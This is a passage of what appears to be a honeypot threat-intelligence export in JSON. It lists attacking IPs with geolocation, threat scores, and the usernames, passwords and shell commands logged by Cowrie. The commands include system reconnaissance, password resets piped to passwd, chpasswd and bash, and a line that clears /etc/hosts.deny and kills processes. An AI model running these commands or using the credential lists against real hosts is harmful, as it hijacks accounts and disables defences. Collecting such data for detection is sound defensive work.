      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.0,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 798,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T12:29:41.347000+00:00",
        "last_seen_30d": "2026-05-12T21:22:33.402000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 607,
        "Suricata": 191
      }
    },
    "131.161.219.137": {
      "attack_count": 438,
      "first_seen": "2026-05-02T20:10:17.190Z",
      "last_seen": "2026-05-10T16:49:27.619Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "user",
        "administrator",
        "345gs5662d34",
        "ftpuser",
        "kafka",
        "oracle",
        "postgres",
        "adam",
        "bitrix",
        "bpadmin",
        "csserver",
        "demo",
        "deployer",
        "developer",
        "es",
        "ftp_user",
        "git"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "55555",
        "P@ssw0rd",
        "admin",
        "10021979612335",
        "111",
        "111111111",
        "1122",
        "123123",
        "123321",
        "1234",
        "1234.com",
        "12345",
        "123456",
        "123456789",
        "123qwe",
        "1qaz\"WSX",
        "1qaz@WSX3edc",
        "232323"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"demo\\nrP7FWXuTO5l1\\nrP7FWXuTO5l1\\n\"|passwd",
        "echo \"root\\nQSwmlqSfmWuh\\nQSwmlqSfmWuh\\n\"|passwd",
        "echo -e \"demo\\nrP7FWXuTO5l1\\nrP7FWXuTO5l1\"|passwd|bash",
        "echo -e \"root\\nQSwmlqSfmWuh\\nQSwmlqSfmWuh\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Almirante Tamandar\u00e9",
      "asn": 264393,
      "as_org": "NetBrasil Telecom LTDA",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.6,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 580,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:10:17.190000+00:00",
        "last_seen_30d": "2026-05-10T16:50:36.673000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 438,
        "Suricata": 142
      }
    },
    "115.68.226.124": {
      "attack_count": 401,
      "first_seen": "2026-05-09T07:41:22.123Z",
      "last_seen": "2026-05-14T14:16:21.640Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "anonymous",
        "cs",
        "deploy",
        "devadmin",
        "dockeradmin",
        "es",
        "ftp",
        "git",
        "hadoop",
        "linux",
        "mailadmin",
        "manager",
        "newftpuser",
        "oneadmin",
        "pakchoi",
        "postgresql"
      ],
      "passwords_attempted": [
        "123456",
        "linux123",
        "!@#$qwerASDF",
        "0206",
        "111111",
        "123",
        "123Qwe123C",
        "1Qaz2wsx@",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123!!",
        "Az123456",
        "Baidu@123",
        "Kermit123@",
        "Password123",
        "Password@2024",
        "Qwert123!",
        "Test@123",
        "Xc123456",
        "abc123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"abc123\\ntq0Hj4OB8GWa\\ntq0Hj4OB8GWa\\n\"|passwd",
        "echo \"root:vjrAXiYnHCYT\"|chpasswd|bash",
        "echo -e \"abc123\\ntq0Hj4OB8GWa\\ntq0Hj4OB8GWa\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 38700,
      "as_org": "SMILESERV",
      "threat_score": 19.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.3,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 535,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:41:22.123000+00:00",
        "last_seen_30d": "2026-05-14T14:17:27.318000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 401,
        "Suricata": 134
      }
    },
    "78.111.67.246": {
      "attack_count": 300,
      "first_seen": "2026-05-03T19:22:52.237Z",
      "last_seen": "2026-05-31T09:25:43.970Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 61.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.4,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 350,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:22:52.237000+00:00",
        "last_seen_30d": "2026-05-31T09:26:48.396000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 200,
        "Suricata": 150
      }
    },
    "139.59.6.237": {
      "attack_count": 280,
      "first_seen": "2026-05-30T11:55:16.272Z",
      "last_seen": "2026-05-30T12:18:51.519Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "zhangsan",
        "chat",
        "elasticsearch",
        "hadi",
        "info",
        "sysadmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123123",
        "1616",
        "Aaa",
        "Cisco123",
        "Sachin@123",
        "abc123456789",
        "admin123",
        "chat",
        "hadi123",
        "manoj",
        "pass123",
        "root@1234",
        "xy123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1\\n8rWAcu3zuUza\\n8rWAcu3zuUza\\n\"|passwd",
        "echo \"root:1zHEAVR7jPn3\"|chpasswd|bash",
        "echo \"root:pZSKxByhYaGp\"|chpasswd|bash",
        "echo -e \"1\\n8rWAcu3zuUza\\n8rWAcu3zuUza\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T11:55:16.272000+00:00",
        "last_seen_30d": "2026-05-30T12:19:58.056000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 280,
        "Suricata": 47
      }
    },
    "103.118.82.254": {
      "attack_count": 262,
      "first_seen": "2026-05-22T11:41:36.217Z",
      "last_seen": "2026-05-24T13:36:24.395Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "blog",
        "admin",
        "admin2",
        "autumn",
        "botuser",
        "git",
        "ollama",
        "runner",
        "sftpuser1",
        "staging",
        "testuser"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#qwe123",
        "12345",
        "12345678",
        "123456789",
        "12345qwert",
        "1qaz@WSX#",
        "Aa12345678.",
        "Aa123456789.",
        "Admin@789",
        "Asd112233",
        "Passw0rd",
        "Smart@2025",
        "ZXCzxc123",
        "abc..123",
        "admin2",
        "blog",
        "newpassword"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"blog\\n14lJYeCm8qY8\\n14lJYeCm8qY8\\n\"|passwd",
        "echo \"root:DUrUPsth43lW\"|chpasswd|bash",
        "echo -e \"blog\\n14lJYeCm8qY8\\n14lJYeCm8qY8\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 135482,
      "as_org": "Yayasan Pendidikan Universitas Presiden",
      "threat_score": 30.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:41:36.217000+00:00",
        "last_seen_30d": "2026-05-24T13:37:30.461000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 72
      }
    },
    "43.134.28.107": {
      "attack_count": 246,
      "first_seen": "2026-05-17T04:35:23.885Z",
      "last_seen": "2026-05-17T05:04:28.966Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1924",
        "19890919",
        "2011",
        "20192019",
        "Aa123456.",
        "Azerty123",
        "K0nig@123",
        "alcapone",
        "angelina",
        "cognos",
        "daddyfather",
        "fgf",
        "fortunato",
        "imyy4u",
        "k0nig#123",
        "nihao123",
        "ou812",
        "panties"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:hfKn1GApQRKS\"|chpasswd|bash",
        "echo \"root:xyxkKCBMqJNl\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 304,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:35:23.885000+00:00",
        "last_seen_30d": "2026-05-17T05:05:34.426000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 246,
        "Suricata": 58
      }
    },
    "138.197.165.171": {
      "attack_count": 236,
      "first_seen": "2026-05-18T13:21:47.567Z",
      "last_seen": "2026-05-18T13:48:55.014Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Abc@123456789",
        "Changeme123",
        "Explorer",
        "abc123456.",
        "admadm",
        "apache!@",
        "bookkeeper",
        "dagifi1980",
        "deploy123",
        "dino",
        "heather",
        "marco2006",
        "oracle123",
        "os10+ZTE",
        "postgres123",
        "qwemnb",
        "red5",
        "rootme"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:CxZSUvrWJJw7\"|chpasswd|bash",
        "echo \"root:nBSqDt0vjoaa\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T13:21:47.567000+00:00",
        "last_seen_30d": "2026-05-18T13:50:03.999000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "43.130.48.246": {
      "attack_count": 236,
      "first_seen": "2026-05-17T10:13:03.571Z",
      "last_seen": "2026-05-17T10:39:25.761Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "112233",
        "andrea",
        "athens",
        "cedric123",
        "crystal",
        "ddos",
        "es123",
        "eugene",
        "hayes",
        "marty",
        "nas@123",
        "none123",
        "qwer#1234",
        "samurai",
        "sdp",
        "segredo",
        "suchy",
        "test"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:B0fneRu7LQb3\"|chpasswd|bash",
        "echo \"root:PbYLzaF3OgHp\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T10:13:03.571000+00:00",
        "last_seen_30d": "2026-05-17T10:40:33.674000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "187.154.100.150": {
      "attack_count": 219,
      "first_seen": "2026-05-04T09:15:23.275Z",
      "last_seen": "2026-05-04T09:45:31.673Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "git",
        "test1",
        "345gs5662d34",
        "administrador",
        "debian",
        "ftpuser1",
        "itadmin",
        "openvpn",
        "oracle10",
        "radioserver",
        "teamspeak",
        "test9",
        "ts3bot",
        "user",
        "webdev",
        "webuser"
      ],
      "passwords_attempted": [
        "12",
        "123",
        "123123",
        "1234",
        "123456Ab",
        "1qaz!QAZ",
        "21",
        "3245gs5662d34",
        "345gs5662d34",
        "Digitalocean",
        "Janitza",
        "Welcome@123",
        "admin321",
        "itadmin",
        "oracle10",
        "oracle@1234",
        "pass",
        "password321",
        "qaz123...",
        "qazwsx"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"qaz123...\\nnv4cI1uR8Kmu\\nnv4cI1uR8Kmu\\n\"|passwd",
        "echo -e \"qaz123...\\nnv4cI1uR8Kmu\\nnv4cI1uR8Kmu\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Centro",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:15:23.275000+00:00",
        "last_seen_30d": "2026-05-04T09:46:33.415000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "34.71.30.159": {
      "attack_count": 219,
      "first_seen": "2026-05-10T06:15:14.722Z",
      "last_seen": "2026-05-10T07:18:50.996Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "ldapuser",
        "minecraft",
        "user",
        "345gs5662d34",
        "ali",
        "bitrix",
        "bwadmin",
        "deployer",
        "esadmin",
        "ftpuser",
        "git",
        "mailtest",
        "nisuser",
        "oracle",
        "reza",
        "root",
        "test",
        "user1"
      ],
      "passwords_attempted": [
        "12345",
        "123456ddd",
        "1234qwer",
        "1qaz3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "3bb",
        "Aa123456",
        "P@55wOrd",
        "P@ssW0rd",
        "Passw0rd",
        "Welcome",
        "Zxc12345",
        "bukkit",
        "danihack000",
        "esadmin123",
        "ftp1234",
        "gituser123",
        "ldapuser",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ldapuser\\nHRBUiyfe3UrR\\nHRBUiyfe3UrR\\n\"|passwd",
        "echo -e \"ldapuser\\nHRBUiyfe3UrR\\nHRBUiyfe3UrR\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T06:15:14.722000+00:00",
        "last_seen_30d": "2026-05-10T07:19:52.479000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 75
      }
    },
    "43.153.104.156": {
      "attack_count": 219,
      "first_seen": "2026-05-04T14:31:57.495Z",
      "last_seen": "2026-05-04T15:04:25.377Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "appuser",
        "git",
        "sysadmin",
        "345gs5662d34",
        "admin",
        "ansibleuser",
        "cod4server",
        "deploy",
        "ftpuser",
        "ftpuser2",
        "guest",
        "jenkins",
        "mysftp",
        "odoo",
        "sftpuser",
        "test",
        "teste1",
        "testing"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "123456789",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "654321",
        "Hello@123",
        "Password@1",
        "aaaaaa",
        "aaaaaaaa",
        "abc123",
        "admin123",
        "admin@54321",
        "administrator1",
        "ansibleuser",
        "appuser@123",
        "cod4server",
        "gitgit123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"abc123\\ntRWGEU9G5dy7\\ntRWGEU9G5dy7\\n\"|passwd",
        "echo -e \"abc123\\ntRWGEU9G5dy7\\ntRWGEU9G5dy7\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:31:57.495000+00:00",
        "last_seen_30d": "2026-05-04T15:05:26.014000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 70
      }
    },
    "43.160.200.19": {
      "attack_count": 219,
      "first_seen": "2026-05-05T08:05:53.985Z",
      "last_seen": "2026-05-05T08:39:39.436Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "cmsadmin",
        "postgres",
        "sysadmin",
        "test",
        "test3",
        "ubuntu",
        "user",
        "345gs5662d34",
        "administrator",
        "deployer",
        "ftptest",
        "git",
        "guest",
        "mysql",
        "sdtdserver",
        "user1",
        "vncuser",
        "webdeploy"
      ],
      "passwords_attempted": [
        "123456789",
